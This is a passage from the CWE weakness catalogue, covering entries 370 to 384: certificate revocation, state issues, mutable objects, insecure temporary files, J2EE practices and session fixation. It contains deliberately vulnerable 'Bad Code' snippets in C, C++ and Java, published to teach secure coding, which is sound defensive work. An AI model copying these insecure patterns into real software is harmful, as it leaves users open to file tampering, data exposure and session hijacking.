Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	738	CERT C Secure Coding Section 04 - Integers (INT)	<b>734</b>	1132
ChildOf	<b>C</b>	739	CERT C Secure Coding Section 05 - Floating Point (FLP)	734	1132
ChildOf	<b>C</b>	848	CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)	<b>844</b>	1292
ChildOf	<b>C</b>	872	CERT C++ Secure Coding Section 04 - Integers (INT)	<b>868</b>	1313
ChildOf	<b>C</b>	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	1313
ChildOf	<b>C</b>	998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393
MemberOf	<b>V</b>	884	CWE Cross-section	<b>884</b>	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	FLP03-C		Detect and handle floating point errors
CERT C Secure Coding	INT33-C		Ensure that division and modulo operations do not result in divide-by-zero errors
CERT Java Secure Coding	NUM02-J		Ensure that division and modulo operations do not result in divide-by-zero errors
CERT C++ Secure Coding	INT33-CPP		Ensure that division and modulo operations do not result in divide-by-zero errors
CERT C++ Secure Coding	FLP03-CPP		Detect and handle floating point errors
Software Fault Patterns	SFP1		Glitch in computation

## CWE-370: Missing Check for Certificate Revocation after Initial Check

Weakness ID: 370 (Weakness Base)

Status: Draft

### Description

#### Summary

The software does not check the revocation status of a certificate after its initial revocation check, which can cause the software to perform privileged actions even after the certificate is revoked at a later time.

#### Extended Description

If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Access Control

##### Gain privileges / assume identity

Trust may be assigned to an entity who is not who it claims to be.

##### Integrity

##### Modify application data

Data from an untrusted (and possibly malicious) source may be integrated.

## Confidentiality

### Read application data

Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.

### Likelihood of Exploit

Medium

### Demonstrative Examples

The following code checks a certificate before performing an action.

#### C/C++ Example:

*Bad Code*

```
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if (X509_V_OK==foo)
        //do stuff
    foo=SSL_get_verify_result(ssl);
    //do more stuff without the check.
```

While the code performs the certificate verification before each action, it does not check the result of the verification after the initial attempt. The certificate may have been revoked in the time between the privileged actions.

### Potential Mitigations

#### Architecture and Design

Ensure that certificates are checked for revoked status before each use of a protected resource. If the certificate is checked before each access of a protected resource, the delay subject to a possible race condition becomes almost negligible and significantly reduces the risk associated with this issue.

### Relationships

Nature	Type	ID	Name	V	Page
PeerOf	B	296	Improper Following of a Certificate's Chain of Trust	1000	523
PeerOf	V	297	Improper Validation of Certificate with Host Mismatch	1000	525
PeerOf	V	298	Improper Validation of Certificate Expiration	1000	527
ChildOf	V	299	Improper Check for Certificate Revocation	<b>699</b> <b>1000</b>	528
ChildOf	C	988	SFP Secondary Cluster: Race Condition Window	<b>888</b>	1387

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Race condition in checking for certificate revocation
Software Fault Patterns	SFP20	Race Condition Window

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
26	Leveraging Race Conditions	
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions	

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.

# CWE-371: State Issues

Category ID: 371 (Category)

Status: Draft

## Description

### Summary

Weaknesses in this category are related to improper management of system state.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	<b>699</b>	626
ParentOf	B	372	<i>Incomplete Internal State Distinction</i>	<b>699</b>	651

Nature	Type	ID	Name	V	Page
ParentOf	B	374	Passing Mutable Objects to an Untrusted Method	699	652
ParentOf	B	375	Returning a Mutable Object to an Untrusted Caller	699	654
PeerOf	C	557	Concurrency Issues	1000	893
ParentOf	V	585	Empty Synchronized Block	699	925
ParentOf	G	642	External Control of Critical State Data	699	993

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
74	Manipulating User State	

## CWE-372: Incomplete Internal State Distinction

**Weakness ID:** 372 (*Weakness Base*)**Status:** Draft**Description****Summary**

The software does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Other****Varies by context****Unexpected state****Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	371	State Issues	699	650
ChildOf	G	697	Insufficient Comparison	1000	1078
ChildOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1376

**Relationship Notes**

This conceptually overlaps other categories such as insufficient verification, but this entry refers to the product's incorrect perception of its own state.

This is probably resultant from other weaknesses such as unhandled error conditions, inability to handle out-of-order steps, multiple interpretation errors, etc.

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Incomplete Internal State Distinction

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
56	Removing/short-circuiting 'guard logic'	
74	Manipulating User State	

**Maintenance Notes**

The classification under CWE-697 is imprecise. Since this entry does not cover specific causes for why proper state is not identified, it needs deeper investigation. It is probably more like a category.

## CWE-373: DEPRECATED: State Synchronization Error

**Weakness ID:** 373 (*Deprecated Weakness Base*)**Status:** Deprecated

**Description****Summary**

This entry was deprecated because it overlapped the same concepts as race condition (CWE-362) and Improper Synchronization (CWE-662).

## CWE-374: Passing Mutable Objects to an Untrusted Method

Weakness ID: 374 (*Weakness Base*)

Status: Draft

**Description****Summary**

The program sends non-cloned mutable data as an argument to a method or function.

**Extended Description**

The function or method that has been called can alter or delete the mutable data. This could violate assumptions that the calling function has made about its state. In situations where unknown code is called with references to mutable data, this external code could make changes to the data sent. If this data was not previously cloned, the modified data might not be valid in the context of execution.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- C
- C++
- Java
- .NET

**Common Consequences****Integrity****Modify memory**

Potentially data could be tampered with by another function which should not have been tampered with.

**Likelihood of Exploit**

Medium

**Demonstrative Examples****Example 1:****C/C++ Example:***Bad Code*

```
private:
int foo;
complexType bar;
String baz;
otherClass externalClass;
public:
void doStuff() {
    externalClass.doOtherStuff(foo, bar, baz)
}
```

In this example, bar and baz will be passed by reference to doOtherStuff() which may change them.

**Example 2:**

In the following Java example, the BookStore class manages the sale of books in a bookstore, this class includes the member objects for the bookstore inventory and sales database manager classes. The BookStore class includes a method for updating the sales database and inventory when a book is sold. This method retrieves a Book object from the bookstore inventory object using the supplied ISBN number for the book class, then calls a method for the sales object to

update the sales information and then calls a method for the inventory object to update inventory for the BookStore.

#### Java Example:

Bad Code

```
public class BookStore {
    private BookStoreInventory inventory;
    private SalesDBManager sales;
    ...
    // constructor for BookStore
    public BookStore() {
        this.inventory = new BookStoreInventory();
        this.sales = new SalesDBManager();
        ...
    }
    public void updateSalesAndInventoryForBookSold(String bookISBN) {
        // Get book object from inventory using ISBN
        Book book = inventory.getBookWithISBN(bookISBN);
        // update sales information for book sold
        sales.updateSalesInformation(book);
        // update inventory
        inventory.updateInventory(book);
    }
    // other BookStore methods
    ...
}
public class Book {
    private String title;
    private String author;
    private String isbn;
    // Book object constructors and get/set methods
    ...
}
```

However, in this example the Book object that is retrieved and passed to the method of the sales object could have its contents modified by the method. This could cause unexpected results when the book object is sent to the method for the inventory object to update the inventory.

In the Java programming language arguments to methods are passed by value, however in the case of objects a reference to the object is passed by value to the method. When an object reference is passed as a method argument a copy of the object reference is made within the method and therefore both references point to the same object. This allows the contents of the object to be modified by the method that holds the copy of the object reference. [R.374.1]

In this case the contents of the Book object could be modified by the method of the sales object prior to the call to update the inventory.

To prevent the contents of the Book object from being modified, a copy of the Book object should be made before the method call to the sales object. In the following example a copy of the Book object is made using the clone() method and the copy of the Book object is passed to the method of the sales object. This will prevent any changes being made to the original Book object.

#### Java Example:

Good Code

```
...
public void updateSalesAndInventoryForBookSold(String bookISBN) {
    // Get book object from inventory using ISBN
    Book book = inventory.getBookWithISBN(bookISBN);
    // Create copy of book object to make sure contents are not changed
    Book bookSold = (Book) book.clone();
    // update sales information for book sold
    sales.updateSalesInformation(bookSold);
    // update inventory
    inventory.updateInventory(book);
}
...
```

### Potential Mitigations Implementation

Pass in data which should not be altered as constant or immutable.

**Implementation**

Clone all mutable data before passing it into an external function . This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	371	State Issues	699	650
ChildOf	G	668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf	C	849	CERT Java Secure Coding Section 04 - Object Orientation (OBJ)	844	1293
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1377

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Passing mutable objects to an untrusted method
CERT Java Secure Coding	OBJ04-J	Provide mutable classes with copy functionality to safely allow passing instances to untrusted code
Software Fault Patterns	SFP23	Exposed Data

**References**

Tony Sintès. "Does Java pass by reference or pass by value?". JavaWorld.com. 2000-05-26. <<http://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html> >.

Herbert Schildt. "Java: The Complete Reference, J2SE 5th Edition".

## CWE-375: Returning a Mutable Object to an Untrusted Caller

Weakness ID: 375 (Weakness Base)

Status: Draft

**Description****Summary**

Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function.

**Extended Description**

In situations where functions return references to mutable data, it is possible that the external code which called the function may make changes to the data sent. If this data was not previously cloned, the class will then be using modified data which may violate assumptions about its internal state.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- C
- C++
- Java
- .NET

**Common Consequences****Access Control****Integrity****Modify memory**

Potentially data could be tampered with by another function which should not have been tampered with.

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

This class has a private list of patients, but provides a way to see the list :



### Java Example:

Bad Code

```
public class ClinicalTrial {
    private PatientClass[] patientList = new PatientClass[50];
    public getPatients(...){
        return patientList;
    }
}
```

While this code only means to allow reading of the patient list, the getPatients() method returns a reference to the class's original patient list instead of a reference to a copy of the list. Any caller of this method can arbitrarily modify the contents of the patient list even though it is a private member of the class.

### Potential Mitigations

#### Implementation

Declare returned data which should not be altered as constant or immutable.

#### Implementation

Clone all mutable data before returning references to it. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	371	State Issues	<b>699</b>	650
ChildOf	<b>G</b>	668	Exposure of Resource to Wrong Sphere	<b>1000</b>	1035
ChildOf	<b>C</b>	849	CERT Java Secure Coding Section 04 - Object Orientation (OBJ)	<b>844</b>	1293
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Mutable object returned
CERT Java Secure Coding	OBJ04-J	Provide mutable classes with copy functionality to safely allow passing instances to untrusted code
CERT Java Secure Coding	OBJ05-J	Defensively copy private mutable class members before returning their references
Software Fault Patterns	SFP23	Exposed Data

## CWE-376: Temporary File Issues

Category ID: 376 (Category)

Status: Draft

### Description

#### Summary

Weaknesses in this category are related to improper handling of temporary files.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	361	Time and State	<b>699</b>	626
ChildOf	<b>C</b>	632	Weaknesses that Affect Files or Directories	<b>700</b>	
ParentOf	<b>B</b>	377	Insecure Temporary File	<b>631</b>	981
ParentOf	<b>B</b>	378	Creation of Temporary File With Insecure Permissions	<b>699</b>	655
ParentOf	<b>B</b>	379	Creation of Temporary File in Directory with Incorrect Permissions	<b>699</b>	658
				<b>699</b>	659

### Affected Resources

- File/Directory

## CWE-377: Insecure Temporary File

Weakness ID: 377 (Weakness Base)

Status: Incomplete

### Description

**Summary**

Creating and using insecure temporary files can leave application and system data vulnerable to attack.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Demonstrative Examples**

The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.

**C Example:***Bad Code*

```
if (tmpnam_r(filename)) {
    FILE* tmp = fopen(filename,"wb+");
    while((recv(sock,recvbuf,DATA_SIZE, 0) > 0)&(amt!=0)) amt = fwrite(recvbuf,1,DATA_SIZE,tmp);
}
...
```

This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks. This section includes a discussion of temporary file creation on both Unix and Windows systems. Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant.

**Other Notes**

Applications require temporary files so frequently that many different mechanisms exist for creating them in the C Library and Windows(R) API. Most of these functions are vulnerable to various forms of attacks.

The functions designed to aid in the creation of temporary files can be broken into two groups based whether they simply provide a filename or actually open a new file. - Group 1: "Unique" Filenames: The first group of C Library and WinAPI functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group includes C Library functions like tmpnam(), tmpnam\_r(), mktemp() and their C++ equivalents prefaced with an \_ (underscore) as well as the GetTempFileName() function from the Windows API. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess. If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the

application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions. Finally, in the best case the file will be opened with the a call to `open()` using the `O_CREAT` and `O_EXCL` flags or to `CreateFile()` using the `CREATE_NEW` attribute, which will fail if the file already exists and therefore prevent the types of attacks described above. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions.

- Group 2: "Unique" Files: The second group of C Library functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes C Library functions like `tmpfile()` and its C++ equivalents prefaced with an `_` (underscore), as well as the slightly better-behaved C Library function `mkstemp()`. The `tmpfile()` style functions construct a unique filename and open it in the same way that `open()` would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, `tmpfile()` will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker can pre-create the file with relaxed access-permissions that will likely be retained by the file opened by `tmpfile()`. Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if `tmpfile()` does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance. Finally, `mkstemp()` is a reasonably safe way create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user combined with a series of randomly generated characters. If it is unable to create such a file, it will fail and return -1. On modern systems the file is opened using mode `O600`, which means the file will be secure from tampering unless the user explicitly changes its access permissions. However, `mkstemp()` still suffers from the use of predictable file names and can leave an application vulnerable to denial of service attacks if an attacker causes `mkstemp()` to fail by predicting and pre-creating the filenames to be used.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		361	Time and State	<b>700</b>	626
ChildOf		376	Temporary File Issues	<b>699</b>	655
ChildOf		668	Exposure of Resource to Wrong Sphere	<b>1000</b>	1035
ChildOf		857	CERT Java Secure Coding Section 12 - Input Output (FIO)	<b>844</b>	1296
ChildOf		964	SFP Secondary Cluster: Exposure Temporary File	<b>888</b>	1378
ParentOf		378	<i>Creation of Temporary File With Insecure Permissions</i>	<b>1000</b>	658
ParentOf		379	<i>Creation of Temporary File in Directory with Incorrect Permissions</i>	<b>1000</b>	659

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Insecure Temporary File
CERT Java Secure Coding	FIO00-J	Do not operate on files in shared directories

### References

- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 23, "Creating Temporary Files Securely" Page 682. 2nd Edition. Microsoft. 2002.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Temporary Files", Page 538.. 1st Edition. Addison Wesley. 2006.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "File Squatting", Page 662.. 1st Edition. Addison Wesley. 2006.

# CWE-378: Creation of Temporary File With Insecure Permissions

Weakness ID: 378 (Weakness Base)

Status: Draft

## Description

### Summary

Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

##### Read application data

If the temporary file can be read by the attacker, sensitive information may be in that file which could be revealed.

#### Authorization

##### Other

##### Other

If that file can be written to by the attacker, the file might be moved into a place to which the attacker does not have access. This will allow the attacker to gain selective resource access-control privileges.

#### Integrity

##### Other

##### Other

Depending on the data stored in the temporary file, there is the potential for an attacker to gain an additional input vector which is trusted as non-malicious. It may be possible to make arbitrary changes to data structures, user information, or even process ownership.

### Likelihood of Exploit

High

### Demonstrative Examples

In the following code examples a temporary file is created and written to and after using the temporary file the file is closed and deleted from the file system.

#### C/C++ Example:

Bad Code

```
FILE *stream;
if( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method `tmpfile()` is used to create and open the temp file. The `tmpfile()` method works the same way as the `fopen()` method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

#### Java Example:

Bad Code

```
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
}
```

```
BufferedWriter out = new BufferedWriter(new FileWriter(temp));
out.write("aString");
out.close();
}
catch (IOException e) {
}
```

Similarly, the `createTempFile()` method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually `"/tmp"` or `"/var/tmp"` and on Windows systems the default directory is usually `"C:\\Windows\\Temp"`, which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

### Potential Mitigations

#### Requirements

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

#### Implementation

Ensure that you use proper file permissions. This can be achieved by using a safe temp file function. Temporary files should be writable and readable only by the process that owns the file.

#### Implementation

Randomize temporary file names. This can also be achieved by using a safe temp-file function. This will ensure that temporary files will not be created in predictable places.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	<b>C</b>	376	Temporary File Issues	<b>699</b>	655
ChildOf	<b>B</b>	377	Insecure Temporary File	<b>1000</b>	655
ChildOf	<b>C</b>	964	SFP Secondary Cluster: Exposure Temporary File	<b>888</b>	1378

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Improper temp file opening

## CWE-379: Creation of Temporary File in Directory with Incorrect Permissions

Weakness ID: 379 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.

#### Extended Description

On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

**Confidentiality****Read application data**

Since the file is visible and the application which is using the temp file could be known, the attacker has gained information about what the user is doing at that time.

**Likelihood of Exploit**

Low

**Demonstrative Examples**

In the following code examples a temporary file is created and written to and after using the temporary file the file is closed and deleted from the file system.

**C/C++ Example:***Bad Code*

```
FILE *stream;
if( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method `tmpfile()` is used to create and open the temp file. The `tmpfile()` method works the same way as the `fopen()` method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

**Java Example:***Bad Code*

```
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
}
catch (IOException e) {
}
```

Similarly, the `createTempFile()` method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually `/tmp` or `/var/tmp` and on Windows systems the default directory is usually `C:\Windows\Temp`, which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

**Potential Mitigations****Requirements**

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

**Implementation**

Try to store sensitive tempfiles in a directory which is not world readable -- i.e., per-user directories.

**Implementation**

Avoid using vulnerable temp file functions.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	376	Temporary File Issues	<b>699</b>	655
ChildOf	<b>B</b>	377	Insecure Temporary File	<b>1000</b>	655
ChildOf	<b>C</b>	743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
ChildOf	<b>C</b>	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	<b>868</b>	1315
ChildOf	<b>C</b>	964	SFP Secondary Cluster: Exposure Temporary File	<b>888</b>	1378

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Guessed or visible temporary file
CERT C Secure Coding	FIO15-C	Ensure that file operations are performed in a secure directory
CERT C Secure Coding	FIO43-C	Do not create temporary files in shared directories
CERT C++ Secure Coding	FIO15-CPP	Ensure that file operations are performed in a secure directory
CERT C++ Secure Coding	FIO43-CPP	Do not create temporary files in shared directories

**References**

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Temporary Files", Page 538.. 1st Edition. Addison Wesley. 2006.

**CWE-380: Technology-Specific Time and State Issues**

Category ID: 380 (Category) Status: Draft

**Description****Summary**

Weaknesses in this category are related to improper handling of time or state within particular technologies.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<input checked="" type="checkbox"/>	361	Time and State	699	626
ParentOf	<input checked="" type="checkbox"/>	381	J2EE Time and State Issues	699	661

**CWE-381: J2EE Time and State Issues**

Category ID: 381 (Category) Status: Draft

**Description****Summary**

Weaknesses in this category are related to improper handling of time or state within J2EE.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<input checked="" type="checkbox"/>	380	Technology-Specific Time and State Issues	699	661
ParentOf	<input checked="" type="checkbox"/>	382	J2EE Bad Practices: Use of System.exit()	699	661
ParentOf	<input checked="" type="checkbox"/>	383	J2EE Bad Practices: Direct Use of Threads	699	662
ParentOf	<input checked="" type="checkbox"/>	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	699	882

**CWE-382: J2EE Bad Practices: Use of System.exit()**

Weakness ID: 382 (Weakness Variant) Status: Draft

**Description****Summary**

A J2EE application uses System.exit(), which also shuts down its container.

**Extended Description**

It is never a good idea for a web application to attempt to shut down the application container. Access to a function that can shut down the application is an avenue for Denial of Service (DoS) attacks.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- Java

**Modes of Introduction**



A call to System.exit() is probably part of leftover debug code or code imported from a non-J2EE application.

### Common Consequences

#### Availability

**DoS: crash / exit / restart**

### Demonstrative Examples

Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.

#### Java Example:

*Bad Code*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
        System.exit(1);
    }
}
```

### Potential Mitigations

#### Architecture and Design

##### Separation of Privilege

The shutdown function should be a privileged function available only to a properly authorized administrative user

#### Implementation

Web applications should not call methods that cause the virtual machine to exit, such as System.exit()

#### Implementation

Web applications should also not throw any Throwables to the application server as this may adversely affect the container.

#### Implementation

Non-web applications may have a main() method that contains a System.exit(), but generally should not call System.exit() from other locations in the code

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	699	418
ChildOf		361	Time and State	<b>700</b>	626
ChildOf		381	J2EE Time and State Issues	<b>699</b>	661
ChildOf		705	Incorrect Control Flow Scoping	<b>1000</b>	1105
ChildOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	<b>711</b>	1120
ChildOf		851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	<b>844</b>	1294
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Bad Practices: System.exit()
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT Java Secure Coding	ERR09-J		Do not allow untrusted code to terminate the JVM
Software Fault Patterns	SFP3		Use of an improper API

## CWE-383: J2EE Bad Practices: Direct Use of Threads

Weakness ID: 383 (Weakness Variant)

Status: Draft

### Description

#### Summary

Thread management in a Web application is forbidden in some circumstances and is always highly error prone.

### Extended Description

Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Other

#### Quality degradation

### Demonstrative Examples

In the following example, a new Thread object is created and invoked directly from within the body of a doGet() method in a Java servlet.

#### Java Example:

*Bad Code*

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Create a new thread to handle background processing.
    Runnable r = new Runnable() {
        public void run() {
            // Process and store request statistics.
            ...
        }
    };
    new Thread(r).start();
}
```

### Potential Mitigations

#### Architecture and Design

For EJB, use framework approaches for parallel execution, instead of using threads.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	361	Time and State	<b>700</b>	626
ChildOf	<b>C</b>	381	J2EE Time and State Issues	<b>699</b>	661
ChildOf	<b>C</b>	634	Weaknesses that Affect System Processes	<b>631</b>	982
ChildOf	<b>B</b>	695	Use of Low-Level Functionality	<b>1000</b>	1077
ChildOf	<b>C</b>	1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403

### Affected Resources

- System Process

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		J2EE Bad Practices: Threads
Software Fault Patterns	SFP3	Use of an improper API

## CWE-384: Session Fixation

Compound Element ID: 384 (Compound Element Base: Composite)

Status: Incomplete

### Description

#### Summary

Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

### Extended Description

Such a scenario is commonly observed when:

1. A web application authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user.
2. An attacker is able to force a known session identifier on a user so that, once the user authenticates, the attacker has access to the authenticated session.
3. The application or container uses predictable session identifiers. In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to associate, and possibly authenticate, against the server using that session identifier, giving the attacker access to the user's account through the active session.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

Gain privileges / assume identity

### Demonstrative Examples

#### Example 1:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with `LoginContext.login()` without first calling `HttpSession.invalidate()`.

#### Java Example:

*Bad Code*

```
private void auth(LoginContext lc, HttpSession session) throws LoginException {  
    ...  
    lc.login();  
    ...  
}
```

